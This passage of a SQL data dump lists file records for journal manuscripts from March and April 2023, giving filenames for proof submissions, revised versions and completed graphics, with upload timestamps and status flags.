14:56:47',1,3,0),(36108,13540,'13540-Manuscript-2023-03-21-z6s8.pdf',NULL,'2023-03-21 15:26:19',1,3,1),(36109,13541,'13541-Manuscript-2023-03-21-0jl9-graphic-completed.pdf',NULL,'2023-03-21 17:18:12',1,3,0),(36110,13501,'13501-Manuscript-2023-03-21-ezfp-graphic-completed.pdf',NULL,'2023-03-21 17:18:22',1,3,0),(36111,13604,'13604-0-Manuscript-2023-03-23.docx',NULL,'2023-03-23 10:14:17',1,1,0),(36112,13583,'13583-ych1-Manuscript-proof-submission-2023-03-23.docx',NULL,'2023-03-23 11:10:04',1,3,0),(36113,13585,'13585-5xry-Manuscript-proof-submission-2023-03-23.docx',NULL,'2023-03-23 11:11:52',1,3,0),(36114,13589,'13589-nei0-Manuscript-proof-submission-2023-03-23.docx',NULL,'2023-03-23 11:14:35',1,3,0),(36115,13586,'13586-dovg-Manuscript-proof-submission-2023-03-23.docx',NULL,'2023-03-23 11:19:25',1,3,0),(36116,13591,'13591-jbkt-Manuscript-proof-submission-2023-03-23.docx',NULL,'2023-03-23 11:20:33',1,3,0),(36117,13582,'13582-9vif-Manuscript-proof-submission-2023-03-23.rar',NULL,'2023-03-23 11:56:51',1,3,0),(36118,13578,'13578-7uzy-Manuscript-proof-submission-2023-03-23.rar',NULL,'2023-03-23 11:57:36',1,3,0),(36119,13575,'13575-isvo-Manuscript-proof-submission-2023-03-23.rar',NULL,'2023-03-23 11:58:23',1,3,0),(36120,13572,'13572-vs1u-Manuscript-proof-submission-2023-03-23.rar',NULL,'2023-03-23 11:59:22',1,3,0),(36121,13570,'13570-abeu-Manuscript-proof-submission-2023-03-23.rar',NULL,'2023-03-23 12:00:09',1,3,0),(36122,13500,'13500-s82c-Manuscript-proof-submission-2023-03-23.rar',NULL,'2023-03-23 13:28:05',1,3,0),(36124,13606,'13606-0-Manuscript-2023-03-23.docx',NULL,'2023-03-23 14:37:09',1,1,0),(36125,13578,'13578-Manuscript-2023-03-23-92wq-ap-team-revised.rar',NULL,'2023-03-23 14:59:05',1,3,1),(36126,13572,'13572-Manuscript-2023-03-23-o1a7-ap-team-revised.rar',NULL,'2023-03-23 14:59:59',1,3,1),(36127,13570,'13570-Manuscript-2023-03-23-7mda-ap-team-revised.rar',NULL,'2023-03-23 15:00:59',1,3,1),(36128,13575,'13575-Manuscript-2023-03-23-af9g-ap-team-revised.rar',NULL,'2023-03-23 15:12:30',1,3,1),(36129,13582,'13582-Manuscript-2023-03-23-57by-ap-team-revised.rar',NULL,'2023-03-23 15:18:15',1,3,1),(36130,13607,'13607-0-Manuscript-2023-03-23.docx',NULL,'2023-03-23 16:58:18',1,1,0),(36131,13608,'13608-0-Manuscript-2023-03-23.docx',NULL,'2023-03-23 16:59:38',1,1,0),(36132,13609,'13609-0-Manuscript-2023-03-23.docx',NULL,'2023-03-23 17:01:18',1,1,0),(36133,13610,'13610-0-Manuscript-2023-03-23.docx',NULL,'2023-03-23 17:07:31',1,1,0),(36134,13578,'13578-Manuscript-2023-03-24-avw0-graphic-completed.pdf',NULL,'2023-03-24 10:31:28',1,3,0),(36135,13575,'13575-Manuscript-2023-03-24-g852-graphic-completed.pdf',NULL,'2023-03-24 10:31:30',1,3,0),(36136,13572,'13572-Manuscript-2023-03-24-5ber-graphic-completed.pdf',NULL,'2023-03-24 10:31:34',1,3,0),(36137,13570,'13570-Manuscript-2023-03-24-ej59-graphic-completed.pdf',NULL,'2023-03-24 10:31:37',1,3,0),(36138,13582,'13582-Manuscript-2023-03-24-jewz-graphic-completed.pdf',NULL,'2023-03-24 10:31:41',1,3,0),(36139,13589,'13589-Manuscript-2023-03-24-repy-ipfs-23-13589.rar',NULL,'2023-03-24 10:36:53',1,3,1),(36140,13586,'13586-Manuscript-2023-03-24-o3dx-ipfs-23-13586.rar',NULL,'2023-03-24 10:37:21',1,3,1),(36141,13591,'13591-Manuscript-2023-03-24-4x3r-ipfs-23-13591.rar',NULL,'2023-03-24 10:39:44',1,3,0),(36142,13591,'13591-Manuscript-2023-03-24-m34n-ipfs-23-13591.rar',NULL,'2023-03-24 10:39:59',1,3,1),(36143,13585,'13585-Manuscript-2023-03-24-58qa-ipfs-23-13585.rar',NULL,'2023-03-24 10:40:25',1,3,1),(36144,13583,'13583-Manuscript-2023-03-24-hzfj-ipfs-23-13583.rar',NULL,'2023-03-24 10:40:52',1,3,1),(36145,13596,'13596-Manuscript-2023-03-24-4x6q-ijddr-23-13596.rar',NULL,'2023-03-24 10:44:32',1,3,1),(36146,13500,'13500-Manuscript-2023-03-24-rs7w-ijddr-23-13500.rar',NULL,'2023-03-24 10:45:03',1,3,1),(36147,13596,'13596-Manuscript-2023-03-24-7br5-graphic-completed.pdf',NULL,'2023-03-24 12:03:07',1,3,0),(36148,13570,'13570-Manuscript-2023-03-24-9z72.pdf',NULL,'2023-03-24 13:20:19',1,3,1),(36149,13582,'13582-Manuscript-2023-03-24-lsug.pdf',NULL,'2023-03-24 13:21:03',1,3,1),(36150,13572,'13572-Manuscript-2023-03-24-h7w4.pdf',NULL,'2023-03-24 13:23:50',1,3,1),(36151,13436,'13436-Manuscript-2023-03-24-n2dr.pdf',NULL,'2023-03-24 13:25:33',1,3,1),(36152,13578,'13578-Manuscript-2023-03-24-vsb9.pdf',NULL,'2023-03-24 13:26:47',1,3,1),(36153,13611,'13611-0-Manuscript-2023-03-24.docx',NULL,'2023-03-24 13:32:40',1,1,0),(36154,13575,'13575-Manuscript-2023-03-24-a0s7.pdf',NULL,'2023-03-24 14:12:07',1,3,0),(36155,13575,'13575-Manuscript-2023-03-24-uefk.pdf',NULL,'2023-03-24 14:17:37',1,3,1),(36156,13612,'13612-0-Manuscript-2023-03-24.docx',NULL,'2023-03-24 15:22:52',1,1,0),(36157,13558,'13558-Manuscript-2023-03-24-u18m-graphic-completed.pdf',NULL,'2023-03-24 17:14:58',1,3,0),(36158,13508,'13508-Manuscript-2023-03-24-bxza-graphic-completed.pdf',NULL,'2023-03-24 17:15:01',1,3,0),(36159,13565,'13565-Manuscript-2023-03-24-wfgm-graphic-completed.pdf',NULL,'2023-03-24 17:15:13',1,3,0),(36160,13564,'13564-Manuscript-2023-03-24-r1vw-graphic-completed.pdf',NULL,'2023-03-24 17:15:22',1,3,0),(36161,13563,'13563-x4gr-Manuscript-proof-submission-2023-03-25.rar',NULL,'2023-03-25 10:14:58',1,3,0),(36162,13589,'13589-Manuscript-2023-03-25-lca6-graphic-completed.pdf',NULL,'2023-03-25 11:21:34',1,3,0),(36163,13591,'13591-Manuscript-2023-03-25-kdpz-graphic-completed.pdf',NULL,'2023-03-25 11:22:14',1,3,0),(36164,13583,'13583-Manuscript-2023-03-25-dagn-graphic-completed.pdf',NULL,'2023-03-25 11:22:29',1,3,0),(36165,13585,'13585-Manuscript-2023-03-25-c9xb-graphic-completed.pdf',NULL,'2023-03-25 11:22:32',1,3,0),(36166,13586,'13586-Manuscript-2023-03-25-je0z-graphic-completed.pdf',NULL,'2023-03-25 11:22:55',1,3,0),(36167,13567,'13567-kya6-Manuscript-proof-submission-2023-03-25.rar',NULL,'2023-03-25 11:46:24',1,3,0),(36168,13613,'13613-0-Manuscript-2023-03-25.docx',NULL,'2023-03-25 11:48:15',1,1,0),(36169,13567,'13567-Manuscript-2023-03-25-nowd-ap-team-revised.rar',NULL,'2023-03-25 12:37:54',1,3,1),(36170,13610,'13610-etr4-Manuscript-proof-submission-2023-03-27.rar',NULL,'2023-03-27 09:51:34',1,3,0),(36171,13609,'13609-7hgb-Manuscript-proof-submission-2023-03-27.rar',NULL,'2023-03-27 09:52:35',1,3,0),(36172,13608,'13608-z41f-Manuscript-proof-submission-2023-03-27.rar',NULL,'2023-03-27 09:53:13',1,3,0),(36173,13607,'13607-j6up-Manuscript-proof-submission-2023-03-27.rar',NULL,'2023-03-27 09:53:42',1,3,0),(36174,13567,'13567-Manuscript-2023-03-27-prb1-graphic-completed.pdf',NULL,'2023-03-27 15:30:23',1,3,0),(36175,13541,'13541-Manuscript-2023-03-28-9aeo.pdf',NULL,'2023-03-28 09:27:56',1,3,1),(36176,13501,'13501-Manuscript-2023-03-28-xp7q.pdf',NULL,'2023-03-28 09:29:03',1,3,1),(36177,13502,'13502-Manuscript-2023-03-28-cis7.pdf',NULL,'2023-03-28 09:30:10',1,3,1),(36178,13500,'13500-Manuscript-2023-03-28-eflb-graphic-completed.pdf',NULL,'2023-03-28 10:26:28',1,3,0),(36179,13555,'13555-Manuscript-2023-03-28-fdea.pdf',NULL,'2023-03-28 10:33:30',1,3,1),(36180,13567,'13567-Manuscript-2023-03-28-e2m7.pdf',NULL,'2023-03-28 10:35:05',1,3,1),(36181,13564,'13564-Manuscript-2023-03-28-ilu2.pdf',NULL,'2023-03-28 13:37:51',1,3,1),(36182,13615,'13615-0-Manuscript-2023-03-28.docx',NULL,'2023-03-28 14:05:45',1,1,0),(36183,13616,'13616-0-Manuscript-2023-03-28.docx',NULL,'2023-03-28 14:07:54',1,1,0),(36184,13617,'13617-0-Manuscript-2023-03-28.docx',NULL,'2023-03-28 14:09:52',1,1,0),(36185,13618,'13618-0-Manuscript-2023-03-28.docx',NULL,'2023-03-28 14:20:02',1,1,0),(36186,13619,'13619-0-Manuscript-2023-03-28.docx',NULL,'2023-03-28 14:22:19',1,1,0),(36187,13620,'13620-0-Manuscript-2023-03-28.doc',NULL,'2023-03-28 14:26:45',1,1,0),(36188,13596,'13596-Manuscript-2023-03-28-rqxt.pdf',NULL,'2023-03-28 15:07:58',1,3,1),(36189,13500,'13500-Manuscript-2023-03-28-mvdo.pdf',NULL,'2023-03-28 15:14:17',1,3,1),(36190,13586,'13586-Manuscript-2023-03-28-bsod.pdf',NULL,'2023-03-28 17:30:01',1,3,1),(36191,13589,'13589-Manuscript-2023-03-28-fjtg.pdf',NULL,'2023-03-28 17:30:41',1,3,1),(36192,13585,'13585-Manuscript-2023-03-28-rodt.pdf',NULL,'2023-03-28 17:31:38',1,3,1),(36193,13591,'13591-Manuscript-2023-03-28-4ip8.pdf',NULL,'2023-03-28 17:32:26',1,3,1),(36194,13583,'13583-Manuscript-2023-03-28-o281.pdf',NULL,'2023-03-28 17:33:06',1,3,1),(36195,13521,'13521-Manuscript-2023-03-28-92d7.pdf',NULL,'2023-03-28 17:34:26',1,3,1),(36196,13563,'13563-Manuscript-2023-03-29-4mdf-ipacm-23-13563.rar',NULL,'2023-03-29 10:27:22',1,3,1),(36197,13607,'13607-Manuscript-2023-03-29-1bqf-iptb-23-13607.rar',NULL,'2023-03-29 10:51:02',1,3,1),(36198,13609,'13609-Manuscript-2023-03-29-dlph-iptb-23-13609.rar',NULL,'2023-03-29 10:51:48',1,3,1),(36199,13610,'13610-Manuscript-2023-03-29-ahfw-iptb-23-13610.rar',NULL,'2023-03-29 10:52:14',1,3,1),(36200,13608,'13608-Manuscript-2023-03-29-sgwq-iptb-23-13608.rar',NULL,'2023-03-29 10:57:06',1,3,1),(36201,13496,'13496-Manuscript-2023-03-29-2rnj-move-pdf-making.pdf',NULL,'2023-03-29 11:17:43',1,3,0),(36202,13496,'13496-Manuscript-2023-03-29-gho6-move-pdf-making.docx',NULL,'2023-03-29 12:22:26',1,3,0),(36203,13556,'13556-mvi1-Manuscript-proof-submission-2023-03-29.docx',NULL,'2023-03-29 18:04:23',1,3,0),(36204,13565,'13565-Manuscript-2023-03-30-yk15.pdf',NULL,'2023-03-30 10:49:11',1,3,1),(36205,13508,'13508-Manuscript-2023-03-30-3tzj.pdf',NULL,'2023-03-30 10:49:45',1,3,1),(36206,13558,'13558-Manuscript-2023-03-30-8ekf.pdf',NULL,'2023-03-30 10:50:27',1,3,1),(36207,13568,'13568-k872-Manuscript-proof-submission-2023-03-30.rar',NULL,'2023-03-30 10:51:57',1,3,0),(36208,13569,'13569-tm3p-Manuscript-proof-submission-2023-03-30.rar',NULL,'2023-03-30 10:52:18',1,3,0),(36209,13571,'13571-qhvr-Manuscript-proof-submission-2023-03-30.rar',NULL,'2023-03-30 10:52:33',1,3,0),(36210,13573,'13573-4x76-Manuscript-proof-submission-2023-03-30.rar',NULL,'2023-03-30 10:52:50',1,3,0),(36211,13574,'13574-1lmg-Manuscript-proof-submission-2023-03-30.rar',NULL,'2023-03-30 10:53:12',1,3,0),(36212,13568,'13568-Manuscript-2023-03-30-p8ea-ap-team-revised.rar',NULL,'2023-03-30 12:00:32',1,3,0),(36213,13574,'13574-Manuscript-2023-03-30-2srw-ap-team-revised.rar',NULL,'2023-03-30 12:01:15',1,3,0),(36214,13573,'13573-Manuscript-2023-03-30-4sil-ap-team-revised.rar',NULL,'2023-03-30 12:01:51',1,3,0),(36215,13573,'13573-Manuscript-2023-03-30-84tk-ap-team-revised.rar',NULL,'2023-03-30 12:02:06',1,3,0),(36216,13571,'13571-Manuscript-2023-03-30-n5cg-ap-team-revised.rar',NULL,'2023-03-30 12:02:38',1,3,0),(36217,13569,'13569-Manuscript-2023-03-30-1e6f-ap-team-revised.rar',NULL,'2023-03-30 12:03:15',1,3,0),(36218,13607,'13607-Manuscript-2023-03-30-g7mt-graphic-completed.pdf',NULL,'2023-03-30 13:42:10',1,3,0),(36219,13608,'13608-Manuscript-2023-03-30-ahpm-graphic-completed.pdf',NULL,'2023-03-30 13:42:17',1,3,0),(36220,13609,'13609-Manuscript-2023-03-30-gkb0-graphic-completed.pdf',NULL,'2023-03-30 13:42:25',1,3,0),(36221,13610,'13610-Manuscript-2023-03-30-649m-graphic-completed.pdf',NULL,'2023-03-30 13:42:33',1,3,0),(36222,13607,'13607-Manuscript-2023-03-30-vzc0.pdf',NULL,'2023-03-30 14:42:22',1,3,1),(36223,13609,'13609-Manuscript-2023-03-30-5zni.pdf',NULL,'2023-03-30 14:45:24',1,3,1),(36224,13608,'13608-Manuscript-2023-03-30-n5w6.pdf',NULL,'2023-03-30 14:47:33',1,3,1),(36225,13610,'13610-Manuscript-2023-03-30-e9jl.pdf',NULL,'2023-03-30 15:07:17',1,3,1),(36226,13574,'13574-Manuscript-2023-03-30-qejf-graphic-completed.pdf',NULL,'2023-03-30 17:27:02',1,3,0),(36227,13573,'13573-Manuscript-2023-03-30-9oew-graphic-completed.pdf',NULL,'2023-03-30 17:27:12',1,3,0),(36228,13571,'13571-Manuscript-2023-03-30-vag8-graphic-completed.pdf',NULL,'2023-03-30 17:27:20',1,3,0),(36229,13569,'13569-Manuscript-2023-03-30-czxy-graphic-completed.pdf',NULL,'2023-03-30 17:27:28',1,3,0),(36230,13568,'13568-Manuscript-2023-03-30-jfpd-graphic-completed.pdf',NULL,'2023-03-30 17:27:35',1,3,0),(36231,13621,'13621-0-Manuscript-2023-03-30.docx',NULL,'2023-03-30 17:35:54',1,1,0),(36232,13568,'13568-Manuscript-2023-03-30-mr4e.pdf',NULL,'2023-03-30 17:56:33',1,3,0),(36233,13574,'13574-Manuscript-2023-03-30-41gc.pdf',NULL,'2023-03-30 17:57:39',1,3,0),(36234,13573,'13573-Manuscript-2023-03-30-4qke.pdf',NULL,'2023-03-30 17:59:05',1,3,0),(36235,13571,'13571-Manuscript-2023-03-30-g7jo.pdf',NULL,'2023-03-30 18:00:14',1,3,0),(36236,13569,'13569-Manuscript-2023-03-30-snx0.pdf',NULL,'2023-03-30 18:01:17',1,3,0),(36237,13563,'13563-Manuscript-2023-03-31-jsfn-graphic-completed.pdf',NULL,'2023-03-31 10:39:58',1,3,1),(36238,13563,'13563-Manuscript-2023-03-31-lyca.pdf',NULL,'2023-03-31 11:03:29',1,3,0),(36239,13563,'13563-Manuscript-2023-03-31-xahb.pdf',NULL,'2023-03-31 11:04:53',1,3,1),(36240,13622,'13622-0-Manuscript-2023-03-31.docx',NULL,'2023-03-31 16:57:22',1,1,0),(36241,13623,'13623-0-Manuscript-2023-03-31.docx',NULL,'2023-03-31 17:17:49',1,1,0),(36242,13624,'13624-0-Manuscript-2023-03-31.docx',NULL,'2023-03-31 17:38:33',1,1,0),(36243,13556,'13556-Manuscript-2023-03-31-u0zt-move-pdf-making.pdf',NULL,'2023-03-31 18:01:12',1,3,0),(36244,13625,'13625-0-Manuscript-2023-03-31.docx',NULL,'2023-03-31 18:26:36',1,1,0),(36245,13626,'13626-0-Manuscript-2023-03-31.docx',NULL,'2023-03-31 18:32:30',1,1,0),(36246,13556,'13556-Manuscript-2023-04-01-z68j-move-pdf-making.docx',NULL,'2023-04-01 09:17:27',1,3,0),(36247,13599,'13599-67b9-Manuscript-proof-submission-2023-04-04.docx',NULL,'2023-04-04 10:24:44',1,3,0),(36248,13600,'13600-pz04-Manuscript-proof-submission-2023-04-04.docx',NULL,'2023-04-04 10:25:08',1,3,0),(36249,13601,'13601-mxg7-Manuscript-proof-submission-2023-04-04.docx',NULL,'2023-04-04 10:25:26',1,3,0),(36250,13602,'13602-q2yl-Manuscript-proof-submission-2023-04-04.docx',NULL,'2023-04-04 10:25:40',1,3,0),(36251,13603,'13603-xpto-Manuscript-proof-submission-2023-04-04.docx',NULL,'2023-04-04 10:25:52',1,3,0),(36252,13599,'13599-Manuscript-2023-04-04-glv5-ap-team-revised.docx',NULL,'2023-04-04 10:36:19',1,3,0),(36253,13600,'13600-Manuscript-2023-04-04-y4ur-ap-team-revised.docx',NULL,'2023-04-04 10:37:08',1,3,0),(36254,13601,'13601-Manuscript-2023-04-04-9azb-ap-team-revised.docx',NULL,'2023-04-04 10:37:52',1,3,0),(36255,13602,'13602-Manuscript-2023-04-04-s09w-ap-team-revised.docx',NULL,'2023-04-04 10:38:35',1,3,0),(36256,13603,'13603-Manuscript-2023-04-04-ywpj-ap-team-revised.docx',NULL,'2023-04-04 10:39:21',1,3,0),(36257,13599,'13599-Manuscript-2023-04-04-tb7s-graphic-completed.pdf',NULL,'2023-04-04 10:42:11',1,3,0),(36258,13600,'13600-Manuscript-2023-04-04-r6p7-graphic-completed.pdf',NULL,'2023-04-04 10:42:54',1,3,0),(36259,13601,'13601-Manuscript-2023-04-04-sy5p-graphic-completed.pdf',NULL,'2023-04-04 10:43:38',1,3,0),(36260,13602,'13602-Manuscript-2023-04-04-pruy-graphic-completed.pdf',NULL,'2023-04-04 10:44:20',1,3,0),(36261,13603,'13603-Manuscript-2023-04-04-9sml-graphic-completed.pdf',NULL,'2023-04-04 10:44:59',1,3,0),(36262,13627,'13627-0-Manuscript-2023-04-04.docx',NULL,'2023-04-05 01:04:31',1,1,0),(36263,13628,'13628-0-Manuscript-2023-04-05.docx',NULL,'2023-04-05 13:47:56',1,1,0),(36264,13629,'13629-0-Manuscript-2023-04-05.docx',NULL,'2023-04-05 13:51:15',1,1,0),(36265,13421,'13421-gz72-Manuscript-proof-submission-2023-04-05.docx',NULL,'2023-04-05 14:30:58',1,3,0),(36266,13449,'13449-qpo1-Manuscript-proof-submission-2023-04-05.docx',NULL,'2023-04-05 14:32:01',1,3,0),(36267,13630,'13630-0-Manuscript-2023-04-05.docx',NULL,'2023-04-05 15:25:52',1,1,0),(36268,13631,'13631-0-Manuscript-2023-04-05.docx',NULL,'2023-04-05 16:38:26',1,1,0),(36270,13633,'13633-0-Manuscript-2023-04-05.docx',NULL,'2023-04-05 16:41:21',1,1,0),(36271,13634,'13634-0-Manuscript-2023-04-05.docx',NULL,'2023-04-05 16:42:43',1,1,0),(36272,13420,'13420-6ht7-Manuscript-proof-submission-2023-04-05.docx',NULL,'2023-04-05 17:04:58',1,3,0),(36273,13420,'13420-iqsk-Manuscript-proof-submission-2023-04-06.docx',NULL,'2023-04-06 09:27:57',1,3,0),(36274,13588,'13588-pgdn-Manuscript-proof-submission-2023-04-06.rar',NULL,'2023-04-06 10:20:34',1,3,0),(36275,13588,'13588-Manuscript-2023-04-06-jzwk-ap-team-revised.rar',NULL,'2023-04-06 13:47:56',1,3,0),(36276,13621,'13621-yzsm-Manuscript-proof-submission-2023-04-06.rar',NULL,'2023-04-06 14:42:48',1,3,0),(36277,13621,'13621-4r6q-Manuscript-proof-submission-2023-04-06.rar',NULL,'2023-04-06 14:42:50',1,3,0),(36278,13621,'13621-Manuscript-2023-04-06-5mfg-ap-team-revised.rar',NULL,'2023-04-06 15:43:30',1,3,1),(36279,13635,'13635-0-Manuscript-2023-04-07.docx',NULL,'2023-04-07 09:34:57',1,1,0),(36280,13636,'13636-0-Manuscript-2023-04-07.docx',NULL,'2023-04-07 09:37:13',1,1,0),(36281,13637,'13637-0-Manuscript-2023-04-07.docx',NULL,'2023-04-07 09:38:56',1,1,0),(36282,13638,'13638-0-Manuscript-2023-04-07.docx',NULL,'2023-04-07 09:40:41',1,1,0),(36283,13550,'13550-Manuscript-2023-04-07-3agz.pdf',NULL,'2023-04-07 09:59:05',1,3,0),(36284,13551,'13551-Manuscript-2023-04-07-6ihf.pdf',NULL,'2023-04-07 09:59:14',1,3,0),(36285,13552,'13552-Manuscript-2023-04-07-gu8x.pdf',NULL,'2023-04-07 09:59:24',1,3,0),(36286,13553,'13553-Manuscript-2023-04-07-hji4.pdf',NULL,'2023-04-07 09:59:38',1,3,0),(36287,13554,'13554-Manuscript-2023-04-07-0ahk.pdf',NULL,'2023-04-07 09:59:48',1,3,0),(36288,13588,'13588-Manuscript-2023-04-07-3ryq.pdf',NULL,'2023-04-07 10:09:21',1,3,0),(36289,13639,'13639-0-Manuscript-2023-04-07.docx',NULL,'2023-04-07 10:38:35',1,1,0),(36290,13640,'13640-0-Manuscript-2023-04-07.docx',NULL,'2023-04-07 11:21:06',1,1,0),(36291,13641,'13641-0-Manuscript-2023-04-07.docx',NULL,'2023-04-07 11:23:23',1,1,0),(36292,13642,'13642-0-Manuscript-2023-04-07.docx',NULL,'2023-04-07 11:27:23',1,1,0),(36293,13643,'13643-0-Manuscript-2023-04-07.docx',NULL,'2023-04-07 11:29:16',1,1,0),(36294,13644,'13644-0-Manuscript-2023-04-07.docx',NULL,'2023-04-07 11:38:05',1,1,0),(36295,13645,'13645-0-Manuscript-2023-04-09.docx',NULL,'2023-04-10 04:35:36',1,1,0),(36296,13615,'13615-x5uc-Manuscript-proof-submission-2023-04-10.docx',NULL,'2023-04-10 10:24:28',1,3,0),(36297,13616,'13616-csnx-Manuscript-proof-submission-2023-04-10.docx',NULL,'2023-04-10 10:24:43',1,3,0),(36298,13617,'13617-wr64-Manuscript-proof-submission-2023-04-10.docx',NULL,'2023-04-10 10:24:58',1,3,0),(36299,13618,'13618-94jg-Manuscript-proof-submission-2023-04-10.docx',NULL,'2023-04-10 10:25:12',1,3,0),(36300,13619,'13619-wi4p-Manuscript-proof-submission-2023-04-10.docx',NULL,'2023-04-10 10:25:25',1,3,0),(36301,13615,'13615-Manuscript-2023-04-10-bg9a-ap-team-revised.docx',NULL,'2023-04-10 10:27:36',1,3,0),(36302,13616,'13616-Manuscript-2023-04-10-fgiz-ap-team-revised.docx',NULL,'2023-04-10 10:28:22',1,3,0),(36303,13617,'13617-Manuscript-2023-04-10-gn7i-ap-team-revised.docx',NULL,'2023-04-10 10:29:22',1,3,0),(36304,13618,'13618-Manuscript-2023-04-10-b13v-ap-team-revised.docx',NULL,'2023-04-10 10:30:15',1,3,0),(36305,13619,'13619-Manuscript-2023-04-10-6zvy-ap-team-revised.docx',NULL,'2023-04-10 10:30:57',1,3,0),(36306,13615,'13615-Manuscript-2023-04-10-9oaz-graphic-completed.pdf',NULL,'2023-04-10 10:37:55',1,3,0),(36307,13616,'13616-Manuscript-2023-04-10-xtom-graphic-completed.pdf',NULL,'2023-04-10 10:38:58',1,3,0),(36308,13617,'13617-Manuscript-2023-04-10-cusx-graphic-completed.pdf',NULL,'2023-04-10 10:39:56',1,3,0),(36309,13618,'13618-Manuscript-2023-04-10-fe0s-graphic-completed.pdf',NULL,'2023-04-10 10:40:51',1,3,0),(36310,13619,'13619-Manuscript-2023-04-10-vout-graphic-completed.pdf',NULL,'2023-04-10 10:42:34',1,3,0),(36311,13621,'13621-Manuscript-2023-04-10-v5fz-graphic-completed.pdf',NULL,'2023-04-10 11:15:22',1,3,0),(36312,13644,'13644-jv08-Manuscript-proof-submission-2023-04-10.docx',NULL,'2023-04-10 11:42:38',1,3,0),(36313,13643,'13643-d9bp-Manuscript-proof-submission-2023-04-10.docx',NULL,'2023-04-10 11:43:26',1,3,0),(36314,13642,'13642-atln-Manuscript-proof-submission-2023-04-10.docx',NULL,'2023-04-10 11:44:25',1,3,0),(36315,13641,'13641-g05u-Manuscript-proof-submission-2023-04-10.docx',NULL,'2023-04-10 11:45:26',1,3,0),(36316,13640,'13640-fp3b-Manuscript-proof-submission-2023-04-10.docx',NULL,'2023-04-10 11:46:09',1,3,0),(36317,13621,'13621-Manuscript-2023-04-10-flvt.pdf',NULL,'2023-04-10 11:47:28',1,3,0),(36318,13621,'13621-Manuscript-2023-04-10-vr91.pdf',NULL,'2023-04-10 11:48:19',1,3,1),(36319,13644,'13644-Manuscript-2023-04-10-qlsa-ap-team-revised.docx',NULL,'2023-04-10 17:18:31',1,3,0),(36320,13640,'13640-Manuscript-2023-04-10-vkh1-ap-team-revised.docx',NULL,'2023-04-10 17:18:47',1,3,0),(36321,13641,'13641-Manuscript-2023-04-10-8jy9-ap-team-revised.docx',NULL,'2023-04-10 17:19:04',1,3,0),(36322,13642,'13642-Manuscript-2023-04-10-e0t6-ap-team-revised.docx',NULL,'2023-04-10 17:19:16',1,3,0),(36323,13643,'13643-Manuscript-2023-04-10-7di5-ap-team-revised.docx',NULL,'2023-04-10 17:19:26',1,3,0),(36324,13635,'13635-gs8q-Manuscript-proof-submission-2023-04-11.docx',NULL,'2023-04-11 11:33:40',1,3,0),(36325,13636,'13636-4xa8-Manuscript-proof-submission-2023-04-11.docx',NULL,'2023-04-11 11:34:17',1,3,0),(36326,13637,'13637-1skm-Manuscript-proof-submission-2023-04-11.docx',NULL,'2023-04-11 11:34:48',1,3,0),(36327,13638,'13638-r9ve-Manuscript-proof-submission-2023-04-11.docx',NULL,'2023-04-11 11:35:12',1,3,0),(36328,13644,'13644-Manuscript-2023-04-11-4tiz.pdf',NULL,'2023-04-11 16:34:06',1,3,0),(36329,13640,'13640-Manuscript-2023-04-11-ci4z.pdf',NULL,'2023-04-11 16:34:17',1,3,0),(36330,13641,'13641-Manuscript-2023-04-11-ojzx.pdf',NULL,'2023-04-11 16:34:38',1,3,0),(36331,13642,'13642-Manuscript-2023-04-11-wmvt.pdf',NULL,'2023-04-11 16:34:48',1,3,0),(36332,13643,'13643-Manuscript-2023-04-11-dbe7.pdf',NULL,'2023-04-11 16:35:10',1,3,0),(36333,13643,'13643-Manuscript-2023-04-11-2jxg-ap-ame-revised.pdf',NULL,'2023-04-11 17:02:58',1,3,0),(36334,13641,'13641-Manuscript-2023-04-11-tlny-ap-ame-revised.pdf',NULL,'2023-04-11 17:03:43',1,3,0),(36335,13644,'13644-Manuscript-2023-04-11-d986-ap-ame-revised.pdf',NULL,'2023-04-11 17:04:34',1,3,0),(36336,13635,'13635-Manuscript-2023-04-12-x63r-ipjnn-23-13635.docx',NULL,'2023-04-12 12:28:18',1,3,0),(36337,13636,'13636-Manuscript-2023-04-12-gm5e-ipjnn-23-13636.docx',NULL,'2023-04-12 12:28:27',1,3,0),(36338,13637,'13637-Manuscript-2023-04-12-edx5-ipjnn-23-13637.docx',NULL,'2023-04-12 12:28:37',1,3,0),(36339,13638,'13638-Manuscript-2023-04-12-do4y-ipjnn-23-13638.docx',NULL,'2023-04-12 12:28:46',1,3,0),(36340,13644,'13644-Manuscript-2023-04-12-fs7r.pdf',NULL,'2023-04-12 13:55:51',1,3,0),(36341,13641,'13641-Manuscript-2023-04-12-9eo1.pdf',NULL,'2023-04-12 13:56:02',1,3,0),(36342,13643,'13643-Manuscript-2023-04-12-qfbr.pdf',NULL,'2023-04-12 13:56:18',1,3,0),(36343,13646,'13646-0-Manuscript-2023-04-13.docx',NULL,'2023-04-13 09:43:32',1,1,0),(36344,13626,'13626-8xpi-Manuscript-proof-submission-2023-04-13.docx',NULL,'2023-04-13 10:40:38',1,3,0),(36345,13625,'13625-ipym-Manuscript-proof-submission-2023-04-13.docx',NULL,'2023-04-13 10:41:15',1,3,0),(36346,13622,'13622-qrut-Manuscript-proof-submission-2023-04-13.docx',NULL,'2023-04-13 10:42:06',1,3,0),(36347,13622,'13622-Manuscript-2023-04-13-azeb-ap-team-revised.docx',NULL,'2023-04-13 17:31:50',1,3,0),(36348,13625,'13625-Manuscript-2023-04-13-6cxu-ap-team-revised.docx',NULL,'2023-04-13 17:32:24',1,3,0),(36349,13626,'13626-Manuscript-2023-04-13-qw52-ap-team-revised.docx',NULL,'2023-04-13 17:32:44',1,3,0),(36350,13622,'13622-Manuscript-2023-04-13-zc4b-graphic-completed.pdf',NULL,'2023-04-13 17:39:19',1,3,0),(36351,13625,'13625-Manuscript-2023-04-13-wh83-graphic-completed.pdf',NULL,'2023-04-13 17:40:32',1,3,0),(36352,13626,'13626-Manuscript-2023-04-13-p5sw-graphic-completed.pdf',NULL,'2023-04-13 17:41:48',1,3,0),(36353,13626,'13626-Manuscript-2023-04-13-kdst.pdf',NULL,'2023-04-13 17:45:20',1,3,0),(36354,13622,'13622-Manuscript-2023-04-13-tq3p.pdf',NULL,'2023-04-13 17:45:59',1,3,0),(36355,13625,'13625-Manuscript-2023-04-13-vjnm.pdf',NULL,'2023-04-13 17:46:46',1,3,0),(36356,13624,'13624-rihd-Manuscript-proof-submission-2023-04-14.docx',NULL,'2023-04-14 10:08:30',1,3,0),(36357,13623,'13623-mikf-Manuscript-proof-submission-2023-04-14.docx',NULL,'2023-04-14 10:09:33',1,3,0),(36358,13624,'13624-Manuscript-2023-04-14-fbzc-ap-team-revised.docx',NULL,'2023-04-14 10:11:14',1,3,0),(36359,13623,'13623-Manuscript-2023-04-14-7k6i-ap-team-revised.docx',NULL,'2023-04-14 